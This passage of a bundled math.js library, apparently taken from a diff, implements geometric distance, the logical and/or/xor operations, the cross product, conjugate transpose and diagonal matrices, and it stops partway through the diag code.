LinePtY1, LinePtZ1], [LinePtX2, LinePtY2, LinePtZ2]) + * math.distance({pointX: 1, pointY: 4, pointZ: 7}, {lineOnePtX: 6, lineOnePtY: 3, lineOnePtZ: 4}, {lineTwoPtX: 2, lineTwoPtY: 8, lineTwoPtZ: 5}) + * math.distance([x1, y1], [xCoeffLine, yCoeffLine, constant]) + * math.distance({pointX: 10, pointY: 10}, {xCoeffLine: 8, yCoeffLine: 1, constant: 3}) + * math.distance([x1, y1, z1], [x0, y0, z0, a-tCoeff, b-tCoeff, c-tCoeff]) point and parametric equation of 3D line + * math.distance([x, y, z], [x0, y0, z0, a, b, c]) + * math.distance({pointX: 2, pointY: 5, pointZ: 9}, {x0: 4, y0: 6, z0: 3, a: 4, b: 2, c: 0}) + * + * Examples: + * math.distance([0,0], [4,4]) // Returns 5.6569 + * math.distance( + * {pointOneX: 0, pointOneY: 0}, + * {pointTwoX: 10, pointTwoY: 10}) // Returns 14.142135623730951 + * math.distance([1, 0, 1], [4, -2, 2]) // Returns 3.74166 + * math.distance( + * {pointOneX: 4, pointOneY: 5, pointOneZ: 8}, + * {pointTwoX: 2, pointTwoY: 7, pointTwoZ: 9}) // Returns 3 + * math.distance([[1, 2], [1, 2], [1, 3]]) // Returns [0, 1, 1] + * math.distance([[1,2,4], [1,2,6], [8,1,3]]) // Returns [2, 7.14142842854285, 7.681145747868608] + * math.distance([10, 10], [8, 1, 3]) // Returns 11.535230316796387 + * math.distance([10, 10], [2, 3], [-8, 0]) // Returns 8.759953130362847 + * math.distance( + * {pointX: 1, pointY: 4}, + * {lineOnePtX: 6, lineOnePtY: 3}, + * {lineTwoPtX: 2, lineTwoPtY: 8}) // Returns 2.720549372624744 + * math.distance([2, 3, 1], [1, 1, 2, 5, 0, 1]) // Returns 2.3204774044612857 + * math.distance( + * {pointX: 2, pointY: 3, pointZ: 1}, + * {x0: 1, y0: 1, z0: 2, a: 5, b: 0, c: 1} // Returns 2.3204774044612857 + * + * @param {Array | Matrix | Object} x Co-ordinates of first point + * @param {Array | Matrix | Object} y Co-ordinates of second point + * @return {Number | BigNumber} Returns the distance from two/three points + */ + + var distance = typed('distance', { + 'Array, Array, Array': function ArrayArrayArray(x, y, z) { + // Point to Line 2D (x=Point, y=LinePoint1, z=LinePoint2) + if (x.length === 2 && y.length === 2 && z.length === 2) { + if (!_2d(x)) { + throw new TypeError('Array with 2 numbers or BigNumbers expected for first argument'); + } + + if (!_2d(y)) { + throw new TypeError('Array with 2 numbers or BigNumbers expected for second argument'); + } + + if (!_2d(z)) { + throw new TypeError('Array with 2 numbers or BigNumbers expected for third argument'); + } + + var m = divide(subtract(z[1], z[0]), subtract(y[1], y[0])); + var xCoeff = multiply(multiply(m, m), y[0]); + var yCoeff = negate(multiply(m, y[0])); + var constant = x[1]; + return _distancePointLine2D(x[0], x[1], xCoeff, yCoeff, constant); + } else { + throw new TypeError('Invalid Arguments: Try again'); + } + }, + 'Object, Object, Object': function ObjectObjectObject(x, y, z) { + if (Object.keys(x).length === 2 && Object.keys(y).length === 2 && Object.keys(z).length === 2) { + if (!_2d(x)) { + throw new TypeError('Values of pointX and pointY should be numbers or BigNumbers'); + } + + if (!_2d(y)) { + throw new TypeError('Values of lineOnePtX and lineOnePtY should be numbers or BigNumbers'); + } + + if (!_2d(z)) { + throw new TypeError('Values of lineTwoPtX and lineTwoPtY should be numbers or BigNumbers'); + } + + if (x.hasOwnProperty('pointX') && x.hasOwnProperty('pointY') && y.hasOwnProperty('lineOnePtX') && y.hasOwnProperty('lineOnePtY') && z.hasOwnProperty('lineTwoPtX') && z.hasOwnProperty('lineTwoPtY')) { + var m = divide(subtract(z.lineTwoPtY, z.lineTwoPtX), subtract(y.lineOnePtY, y.lineOnePtX)); + var xCoeff = multiply(multiply(m, m), y.lineOnePtX); + var yCoeff = negate(multiply(m, y.lineOnePtX)); + var constant = x.pointX; + return _distancePointLine2D(x.pointX, x.pointY, xCoeff, yCoeff, constant); + } else { + throw new TypeError('Key names do not match'); + } + } else { + throw new TypeError('Invalid Arguments: Try again'); + } + }, + 'Array, Array': function ArrayArray(x, y) { + // Point to Line 2D (x=[pointX, pointY], y=[x-coeff, y-coeff, const]) + if (x.length === 2 && y.length === 3) { + if (!_2d(x)) { + throw new TypeError('Array with 2 numbers or BigNumbers expected for first argument'); + } + + if (!_3d(y)) { + throw new TypeError('Array with 3 numbers or BigNumbers expected for second argument'); + } + + return _distancePointLine2D(x[0], x[1], y[0], y[1], y[2]); + } else if (x.length === 3 && y.length === 6) { + // Point to Line 3D + if (!_3d(x)) { + throw new TypeError('Array with 3 numbers or BigNumbers expected for first argument'); + } + + if (!_parametricLine(y)) { + throw new TypeError('Array with 6 numbers or BigNumbers expected for second argument'); + } + + return _distancePointLine3D(x[0], x[1], x[2], y[0], y[1], y[2], y[3], y[4], y[5]); + } else if (x.length === 2 && y.length === 2) { + // Point to Point 2D + if (!_2d(x)) { + throw new TypeError('Array with 2 numbers or BigNumbers expected for first argument'); + } + + if (!_2d(y)) { + throw new TypeError('Array with 2 numbers or BigNumbers expected for second argument'); + } + + return _distance2d(x[0], x[1], y[0], y[1]); + } else if (x.length === 3 && y.length === 3) { + // Point to Point 3D + if (!_3d(x)) { + throw new TypeError('Array with 3 numbers or BigNumbers expected for first argument'); + } + + if (!_3d(y)) { + throw new TypeError('Array with 3 numbers or BigNumbers expected for second argument'); + } + + return _distance3d(x[0], x[1], x[2], y[0], y[1], y[2]); + } else { + throw new TypeError('Invalid Arguments: Try again'); + } + }, + 'Object, Object': function ObjectObject(x, y) { + if (Object.keys(x).length === 2 && Object.keys(y).length === 3) { + if (!_2d(x)) { + throw new TypeError('Values of pointX and pointY should be numbers or BigNumbers'); + } + + if (!_3d(y)) { + throw new TypeError('Values of xCoeffLine, yCoeffLine and constant should be numbers or BigNumbers'); + } + + if (x.hasOwnProperty('pointX') && x.hasOwnProperty('pointY') && y.hasOwnProperty('xCoeffLine') && y.hasOwnProperty('yCoeffLine') && y.hasOwnProperty('constant')) { + return _distancePointLine2D(x.pointX, x.pointY, y.xCoeffLine, y.yCoeffLine, y.constant); + } else { + throw new TypeError('Key names do not match'); + } + } else if (Object.keys(x).length === 3 && Object.keys(y).length === 6) { + // Point to Line 3D + if (!_3d(x)) { + throw new TypeError('Values of pointX, pointY and pointZ should be numbers or BigNumbers'); + } + + if (!_parametricLine(y)) { + throw new TypeError('Values of x0, y0, z0, a, b and c should be numbers or BigNumbers'); + } + + if (x.hasOwnProperty('pointX') && x.hasOwnProperty('pointY') && y.hasOwnProperty('x0') && y.hasOwnProperty('y0') && y.hasOwnProperty('z0') && y.hasOwnProperty('a') && y.hasOwnProperty('b') && y.hasOwnProperty('c')) { + return _distancePointLine3D(x.pointX, x.pointY, x.pointZ, y.x0, y.y0, y.z0, y.a, y.b, y.c); + } else { + throw new TypeError('Key names do not match'); + } + } else if (Object.keys(x).length === 2 && Object.keys(y).length === 2) { + // Point to Point 2D + if (!_2d(x)) { + throw new TypeError('Values of pointOneX and pointOneY should be numbers or BigNumbers'); + } + + if (!_2d(y)) { + throw new TypeError('Values of pointTwoX and pointTwoY should be numbers or BigNumbers'); + } + + if (x.hasOwnProperty('pointOneX') && x.hasOwnProperty('pointOneY') && y.hasOwnProperty('pointTwoX') && y.hasOwnProperty('pointTwoY')) { + return _distance2d(x.pointOneX, x.pointOneY, y.pointTwoX, y.pointTwoY); + } else { + throw new TypeError('Key names do not match'); + } + } else if (Object.keys(x).length === 3 && Object.keys(y).length === 3) { + // Point to Point 3D + if (!_3d(x)) { + throw new TypeError('Values of pointOneX, pointOneY and pointOneZ should be numbers or BigNumbers'); + } + + if (!_3d(y)) { + throw new TypeError('Values of pointTwoX, pointTwoY and pointTwoZ should be numbers or BigNumbers'); + } + + if (x.hasOwnProperty('pointOneX') && x.hasOwnProperty('pointOneY') && x.hasOwnProperty('pointOneZ') && y.hasOwnProperty('pointTwoX') && y.hasOwnProperty('pointTwoY') && y.hasOwnProperty('pointTwoZ')) { + return _distance3d(x.pointOneX, x.pointOneY, x.pointOneZ, y.pointTwoX, y.pointTwoY, y.pointTwoZ); + } else { + throw new TypeError('Key names do not match'); + } + } else { + throw new TypeError('Invalid Arguments: Try again'); + } + }, + 'Array': function Array(arr) { + if (!_pairwise(arr)) { + throw new TypeError('Incorrect array format entered for pairwise distance calculation'); + } + + return _distancePairwise(arr); + } + }); + + function _isNumber(a) { + // distance supports numbers and bignumbers + return typeof a === 'number' || type.isBigNumber(a); + } + + function _2d(a) { + // checks if the number of arguments are correct in count and are valid (should be numbers) + if (a.constructor !== Array) { + a = _objectToArray(a); + } + + return _isNumber(a[0]) && _isNumber(a[1]); + } + + function _3d(a) { + // checks if the number of arguments are correct in count and are valid (should be numbers) + if (a.constructor !== Array) { + a = _objectToArray(a); + } + + return _isNumber(a[0]) && _isNumber(a[1]) && _isNumber(a[2]); + } + + function _parametricLine(a) { + if (a.constructor !== Array) { + a = _objectToArray(a); + } + + return _isNumber(a[0]) && _isNumber(a[1]) && _isNumber(a[2]) && _isNumber(a[3]) && _isNumber(a[4]) && _isNumber(a[5]); + } + + function _objectToArray(o) { + var keys = Object.keys(o); + var a = []; + + for (var i = 0; i < keys.length; i++) { + a.push(o[keys[i]]); + } + + return a; + } + + function _pairwise(a) { + // checks for valid arguments passed to _distancePairwise(Array) + if (a[0].length === 2 && _isNumber(a[0][0]) && _isNumber(a[0][1])) { + for (var i in a) { + if (a[i].length !== 2 || !_isNumber(a[i][0]) || !_isNumber(a[i][1])) { + return false; + } + } + } else if (a[0].length === 3 && _isNumber(a[0][0]) && _isNumber(a[0][1]) && _isNumber(a[0][2])) { + for (var _i in a) { + if (a[_i].length !== 3 || !_isNumber(a[_i][0]) || !_isNumber(a[_i][1]) || !_isNumber(a[_i][2])) { + return false; + } + } + } else { + return false; + } + + return true; + } + + function _distancePointLine2D(x, y, a, b, c) { + var num = abs(add(add(multiply(a, x), multiply(b, y)), c)); + var den = sqrt(add(multiply(a, a), multiply(b, b))); + var result = divide(num, den); + return result; + } + + function _distancePointLine3D(x, y, z, x0, y0, z0, a, b, c) { + var num = [subtract(multiply(subtract(y0, y), c), multiply(subtract(z0, z), b)), subtract(multiply(subtract(z0, z), a), multiply(subtract(x0, x), c)), subtract(multiply(subtract(x0, x), b), multiply(subtract(y0, y), a))]; + num = sqrt(add(add(multiply(num[0], num[0]), multiply(num[1], num[1])), multiply(num[2], num[2]))); + var den = sqrt(add(add(multiply(a, a), multiply(b, b)), multiply(c, c))); + var result = divide(num, den); + return result; + } + + function _distance2d(x1, y1, x2, y2) { + var yDiff = subtract(y2, y1); + var xDiff = subtract(x2, x1); + var radicant = add(multiply(yDiff, yDiff), multiply(xDiff, xDiff)); + var result = sqrt(radicant); + return result; + } + + function _distance3d(x1, y1, z1, x2, y2, z2) { + var zDiff = subtract(z2, z1); + var yDiff = subtract(y2, y1); + var xDiff = subtract(x2, x1); + var radicant = add(add(multiply(zDiff, zDiff), multiply(yDiff, yDiff)), multiply(xDiff, xDiff)); + var result = sqrt(radicant); + return result; + } + + function _distancePairwise(a) { + var result = []; + + for (var i = 0; i < a.length - 1; i++) { + for (var j = i + 1; j < a.length; j++) { + if (a[0].length === 2) { + result.push(_distance2d(a[i][0], a[i][1], a[j][0], a[j][1])); + } else if (a[0].length === 3) { + result.push(_distance3d(a[i][0], a[i][1], a[i][2], a[j][0], a[j][1], a[j][2])); + } + } + } + + return result; + } + + return distance; +} + +exports.name = 'distance'; +exports.factory = factory; + +/***/ }), +/* 269 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(270), __webpack_require__(142), __webpack_require__(271), __webpack_require__(272)]; + +/***/ }), +/* 270 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var latex = __webpack_require__(4); + + var matrix = load(__webpack_require__(0)); + var zeros = load(__webpack_require__(43)); + var not = load(__webpack_require__(142)); + var algorithm02 = load(__webpack_require__(27)); + var algorithm06 = load(__webpack_require__(74)); + var algorithm11 = load(__webpack_require__(20)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Logical `and`. Test whether two values are both defined with a nonzero/nonempty value. + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.and(x, y) + * + * Examples: + * + * math.and(2, 4) // returns true + * + * a = [2, 0, 0] + * b = [3, 7, 0] + * c = 0 + * + * math.and(a, b) // returns [true, false, false] + * math.and(a, c) // returns [false, false, false] + * + * See also: + * + * not, or, xor + * + * @param {number | BigNumber | Complex | Unit | Array | Matrix} x First value to check + * @param {number | BigNumber | Complex | Unit | Array | Matrix} y Second value to check + * @return {boolean | Array | Matrix} + * Returns true when both inputs are defined with a nonzero/nonempty value. + */ + + var and = typed('and', { + 'number, number': function numberNumber(x, y) { + return !!(x && y); + }, + 'Complex, Complex': function ComplexComplex(x, y) { + return (x.re !== 0 || x.im !== 0) && (y.re !== 0 || y.im !== 0); + }, + 'BigNumber, BigNumber': function BigNumberBigNumber(x, y) { + return !x.isZero() && !y.isZero() && !x.isNaN() && !y.isNaN(); + }, + 'Unit, Unit': function UnitUnit(x, y) { + return and(x.value || 0, y.value || 0); + }, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm06(x, y, and, false); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm02(y, x, and, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm02(x, y, and, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, and); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return and(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return and(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return and(x, matrix(y)); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + // check scalar + if (not(y)) { + // return zero matrix + return zeros(x.size(), x.storage()); + } + + return algorithm11(x, y, and, false); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + // check scalar + if (not(y)) { + // return zero matrix + return zeros(x.size(), x.storage()); + } + + return algorithm14(x, y, and, false); + }, + 'any, SparseMatrix': function anySparseMatrix(x, y) { + // check scalar + if (not(x)) { + // return zero matrix + return zeros(x.size(), x.storage()); + } + + return algorithm11(y, x, and, true); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + // check scalar + if (not(x)) { + // return zero matrix + return zeros(x.size(), x.storage()); + } + + return algorithm14(y, x, and, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return and(matrix(x), y).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return and(x, matrix(y)).valueOf(); + } + }); + and.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['and'], "${args[1]}\\right)") + }; + return and; +} + +exports.name = 'and'; +exports.factory = factory; + +/***/ }), +/* 271 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var latex = __webpack_require__(4); + + var matrix = load(__webpack_require__(0)); + var algorithm03 = load(__webpack_require__(18)); + var algorithm05 = load(__webpack_require__(66)); + var algorithm12 = load(__webpack_require__(19)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Logical `or`. Test if at least one value is defined with a nonzero/nonempty value. + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.or(x, y) + * + * Examples: + * + * math.or(2, 4) // returns true + * + * a = [2, 5, 0] + * b = [0, 22, 0] + * c = 0 + * + * math.or(a, b) // returns [true, true, false] + * math.or(b, c) // returns [false, true, false] + * + * See also: + * + * and, not, xor + * + * @param {number | BigNumber | Complex | Unit | Array | Matrix} x First value to check + * @param {number | BigNumber | Complex | Unit | Array | Matrix} y Second value to check + * @return {boolean | Array | Matrix} + * Returns true when one of the inputs is defined with a nonzero/nonempty value. + */ + + var or = typed('or', { + 'number, number': function numberNumber(x, y) { + return !!(x || y); + }, + 'Complex, Complex': function ComplexComplex(x, y) { + return x.re !== 0 || x.im !== 0 || y.re !== 0 || y.im !== 0; + }, + 'BigNumber, BigNumber': function BigNumberBigNumber(x, y) { + return !x.isZero() && !x.isNaN() || !y.isZero() && !y.isNaN(); + }, + 'Unit, Unit': function UnitUnit(x, y) { + return or(x.value || 0, y.value || 0); + }, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm05(x, y, or); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm03(y, x, or, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm03(x, y, or, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, or); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return or(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return or(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return or(x, matrix(y)); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + return algorithm12(x, y, or, false); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, or, false); + }, + 'any, SparseMatrix': function anySparseMatrix(x, y) { + return algorithm12(y, x, or, true); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + return algorithm14(y, x, or, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, or, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, or, true).valueOf(); + } + }); + or.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['or'], "${args[1]}\\right)") + }; + return or; +} + +exports.name = 'or'; +exports.factory = factory; + +/***/ }), +/* 272 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var latex = __webpack_require__(4); + + var matrix = load(__webpack_require__(0)); + var algorithm03 = load(__webpack_require__(18)); + var algorithm07 = load(__webpack_require__(29)); + var algorithm12 = load(__webpack_require__(19)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Logical `xor`. Test whether one and only one value is defined with a nonzero/nonempty value. + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.xor(x, y) + * + * Examples: + * + * math.xor(2, 4) // returns false + * + * a = [2, 0, 0] + * b = [2, 7, 0] + * c = 0 + * + * math.xor(a, b) // returns [false, true, false] + * math.xor(a, c) // returns [true, false, false] + * + * See also: + * + * and, not, or + * + * @param {number | BigNumber | Complex | Unit | Array | Matrix} x First value to check + * @param {number | BigNumber | Complex | Unit | Array | Matrix} y Second value to check + * @return {boolean | Array | Matrix} + * Returns true when one and only one input is defined with a nonzero/nonempty value. + */ + + var xor = typed('xor', { + 'number, number': function numberNumber(x, y) { + return !!x !== !!y; + }, + 'Complex, Complex': function ComplexComplex(x, y) { + return (x.re !== 0 || x.im !== 0) !== (y.re !== 0 || y.im !== 0); + }, + 'BigNumber, BigNumber': function BigNumberBigNumber(x, y) { + return (!x.isZero() && !x.isNaN()) !== (!y.isZero() && !y.isNaN()); + }, + 'Unit, Unit': function UnitUnit(x, y) { + return xor(x.value || 0, y.value || 0); + }, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm07(x, y, xor); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm03(y, x, xor, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm03(x, y, xor, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, xor); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return xor(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return xor(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return xor(x, matrix(y)); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + return algorithm12(x, y, xor, false); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, xor, false); + }, + 'any, SparseMatrix': function anySparseMatrix(x, y) { + return algorithm12(y, x, xor, true); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + return algorithm14(y, x, xor, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, xor, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, xor, true).valueOf(); + } + }); + xor.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['xor'], "${args[1]}\\right)") + }; + return xor; +} + +exports.name = 'xor'; +exports.factory = factory; + +/***/ }), +/* 273 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(96), __webpack_require__(143), __webpack_require__(78), __webpack_require__(274), __webpack_require__(275), __webpack_require__(128), __webpack_require__(276), __webpack_require__(277), __webpack_require__(278), __webpack_require__(279), __webpack_require__(280), __webpack_require__(281), __webpack_require__(282), __webpack_require__(50), __webpack_require__(70), __webpack_require__(283), __webpack_require__(145), __webpack_require__(284), __webpack_require__(97), __webpack_require__(77), __webpack_require__(285), __webpack_require__(286), __webpack_require__(146), __webpack_require__(28), __webpack_require__(287), __webpack_require__(289), __webpack_require__(290), __webpack_require__(23), __webpack_require__(291), __webpack_require__(72), __webpack_require__(43), __webpack_require__(292)]; + +/***/ }), +/* 274 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var array = __webpack_require__(2); + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var subtract = load(__webpack_require__(15)); + var multiply = load(__webpack_require__(10)); + /** + * Calculate the cross product for two vectors in three dimensional space. + * The cross product of `A = [a1, a2, a3]` and `B = [b1, b2, b3]` is defined + * as: + * + * cross(A, B) = [ + * a2 * b3 - a3 * b2, + * a3 * b1 - a1 * b3, + * a1 * b2 - a2 * b1 + * ] + * + * If one of the input vectors has a dimension greater than 1, the output + * vector will be a 1x3 (2-dimensional) matrix. + * + * Syntax: + * + * math.cross(x, y) + * + * Examples: + * + * math.cross([1, 1, 0], [0, 1, 1]) // Returns [1, -1, 1] + * math.cross([3, -3, 1], [4, 9, 2]) // Returns [-15, -2, 39] + * math.cross([2, 3, 4], [5, 6, 7]) // Returns [-3, 6, -3] + * math.cross([[1, 2, 3]], [[4], [5], [6]]) // Returns [[-3, 6, -3]] + * + * See also: + * + * dot, multiply + * + * @param {Array | Matrix} x First vector + * @param {Array | Matrix} y Second vector + * @return {Array | Matrix} Returns the cross product of `x` and `y` + */ + + var cross = typed('cross', { + 'Matrix, Matrix': function MatrixMatrix(x, y) { + return matrix(_cross(x.toArray(), y.toArray())); + }, + 'Matrix, Array': function MatrixArray(x, y) { + return matrix(_cross(x.toArray(), y)); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + return matrix(_cross(x, y.toArray())); + }, + 'Array, Array': _cross + }); + cross.toTex = { + 2: "\\left(${args[0]}\\right)\\times\\left(${args[1]}\\right)" + }; + return cross; + /** + * Calculate the cross product for two arrays + * @param {Array} x First vector + * @param {Array} y Second vector + * @returns {Array} Returns the cross product of x and y + * @private + */ + + function _cross(x, y) { + var highestDimension = Math.max(array.size(x).length, array.size(y).length); + x = array.squeeze(x); + y = array.squeeze(y); + var xSize = array.size(x); + var ySize = array.size(y); + + if (xSize.length !== 1 || ySize.length !== 1 || xSize[0] !== 3 || ySize[0] !== 3) { + throw new RangeError('Vectors with length 3 expected ' + '(Size A = [' + xSize.join(', ') + '], B = [' + ySize.join(', ') + '])'); + } + + var product = [subtract(multiply(x[1], y[2]), multiply(x[2], y[1])), subtract(multiply(x[2], y[0]), multiply(x[0], y[2])), subtract(multiply(x[0], y[1]), multiply(x[1], y[0]))]; + + if (highestDimension > 1) { + return [product]; + } else { + return product; + } + } +} + +exports.name = 'cross'; +exports.factory = factory; + +/***/ }), +/* 275 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var transpose = load(__webpack_require__(72)); + var conj = load(__webpack_require__(71)); + + var latex = __webpack_require__(4); + /** + * Transpose and complex conjugate a matrix. All values of the matrix are + * reflected over its main diagonal and then the complex conjugate is + * taken. This is equivalent to complex conjugation for scalars and + * vectors. + * + * Syntax: + * + * math.ctranspose(x) + * + * Examples: + * + * const A = [[1, 2, 3], [4, 5, math.complex(6,7)]] + * math.ctranspose(A) // returns [[1, 4], [2, 5], [3, {re:6,im:7}]] + * + * See also: + * + * transpose, diag, inv, subset, squeeze + * + * @param {Array | Matrix} x Matrix to be ctransposed + * @return {Array | Matrix} The ctransposed matrix + */ + + + var ctranspose = typed('ctranspose', { + 'any': function any(x) { + return conj(transpose(x)); + } + }); + ctranspose.toTex = { + 1: "\\left(${args[0]}\\right)".concat(latex.operators['ctranspose']) + }; + return ctranspose; +} + +exports.name = 'ctranspose'; +exports.factory = factory; + +/***/ }), +/* 276 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var array = __webpack_require__(2); + +var isInteger = __webpack_require__(3).isInteger; + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + /** + * Create a diagonal matrix or retrieve the diagonal of a matrix + * + * When `x` is a vector, a matrix with vector `x` on the diagonal will be returned. + * When `x` is a two dimensional matrix, the matrixes `k`th diagonal will be returned as vector. + * When k is positive, the values are placed on the super diagonal. + * When k is negative, the values are placed on the sub diagonal. + * + * Syntax: + * + * math.diag(X) + * math.diag(X, format) + * math.diag(X, k) + * math.diag(X, k, format) + * + * Examples: + * + * // create a diagonal matrix + * math.diag([1, 2, 3]) // returns [[1, 0, 0], [0, 2, 0], [0, 0, 3]] + * math.diag([1, 2, 3], 1) // returns [[0, 1, 0, 0], [0, 0, 2, 0], [0, 0, 0, 3]] + * math.diag([1, 2, 3], -1) // returns [[0, 0, 0], [1, 0, 0], [0, 2, 0], [0, 0, 3]] + * + * // retrieve the diagonal from a matrix + * const a = [[1, 2, 3], [4, 5, 6], [7, 8, 9]] + * math.diag(a) // returns [1, 5, 9] + * + * See also: + * + * ones, zeros, identity + * + * @param {Matrix | Array} x A two dimensional matrix or a vector + * @param {number | BigNumber} [k=0] The diagonal where the vector will be filled + * in or retrieved. + * @param {string} [format='dense'] The matrix storage format. + * + * @returns {Matrix | Array} Diagonal matrix from input vector, or diagonal from input matrix. + */ + + var diag = typed('diag', { + // FIXME: simplify this huge amount of signatures as soon as typed-function supports optional arguments + 'Array': function Array(x) { + return _diag(x, 0, array.size(x), null); + }, + 'Array, number': function ArrayNumber(x, k) { + return _diag(x, k, array.size(x), null); + }, + 'Array, BigNumber': function ArrayBigNumber(x, k) { + return _diag(x, k.toNumber(), array.size(x), null); + }, + 'Array, string': function ArrayString(x, format) { + return _diag(x, 0, array.size(x), format); + }, + 'Array, number, string': function ArrayNumberString(x, k, format) { + return _diag(x, k, array.size(x), format); + }, + 'Array, BigNumber, string': function ArrayBigNumberString(x, k, format) { + return _diag(x, k.toNumber(), array.size(x), format); + }, + 'Matrix': function Matrix(x) { + return _diag(x, 0, x.size(), x.storage()); + }, + 'Matrix, number': function MatrixNumber(x, k) { + return _diag(x, k, x.size(), x.storage()); + }, + 'Matrix, BigNumber': function MatrixBigNumber(x, k) { + return _diag(x, k.toNumber(), x.size(), x.storage()); + }, + 'Matrix, string': function MatrixString(x, format) { + return _diag(x, 0, x.size(), format); + }, + 'Matrix, number, string': function MatrixNumberString(x, k, format) { + return _diag(x, k, x.size(), format); + }, + 'Matrix, BigNumber, string': function MatrixBigNumberString(x, k, format) { + return _diag(x, k.toNumber(), x.size(), format); + } + }); + diag.toTex = undefined; // use default template + + return diag; + /** + * Creeate diagonal matrix from a vector or vice versa + * @param {Array | Matrix} x + * @param {number} k + * @param {string} format Storage format for matrix. If null, + * an Array is returned + * @returns {Array | Matrix} + * @private + */ + + function _diag(x, k, size, format) { + if (!isInteger(k)) { + throw new TypeError('Second parameter in function diag must be an integer'); + } + + var kSuper = k > 0 ? k : 0; + var kSub = k < 0 ? -k : 0; // check dimensions + + switch (size.length) { + case 1: + return _createDiagonalMatrix(x, k, format, size[0], kSub, kSuper); + + case 2: + return _getDiagonal(x, k, format, size, kSub, kSuper); + } + + throw new RangeError('Matrix for function diag must be 2 dimensional'); + } + + function _createDiagonalMatrix(x, k, format, l, kSub, kSuper) { + // matrix size + var ms = [l + kSub, l + kSuper]; // get matrix constructor + + var F = type.Matrix.storage(format || 'dense'); // create diagonal matrix + + var m = F.diagonal(ms, x, k); // check we need to return a matrix + + return format !== null ? m : m.valueOf(); + } + + function _getDiagonal(x, k, format, s, kSub, kSuper) { + // check x is a Matrix + if (type.isMatrix(x)) { + // get diagonal matrix + var dm = x.diagonal(k); // check we need to return a matrix + + if (format !== null) { + // check we need to change matrix format + if (format !== dm.storage()) { + return matrix(dm, format); + } + + return dm; + } + + return dm.valueOf(); + } // vector size + + + var n = Math.min(s[0] - kSub, s[1] - kSuper); // diagonal values + + var vector = []; // loop diagonal + + for (var i = 0; i < n; i++) { + vector[i] = x[i + kSub][i + kSuper]; + } // check we need to return a matrix + + + return format !== null ? matrix(vector) : 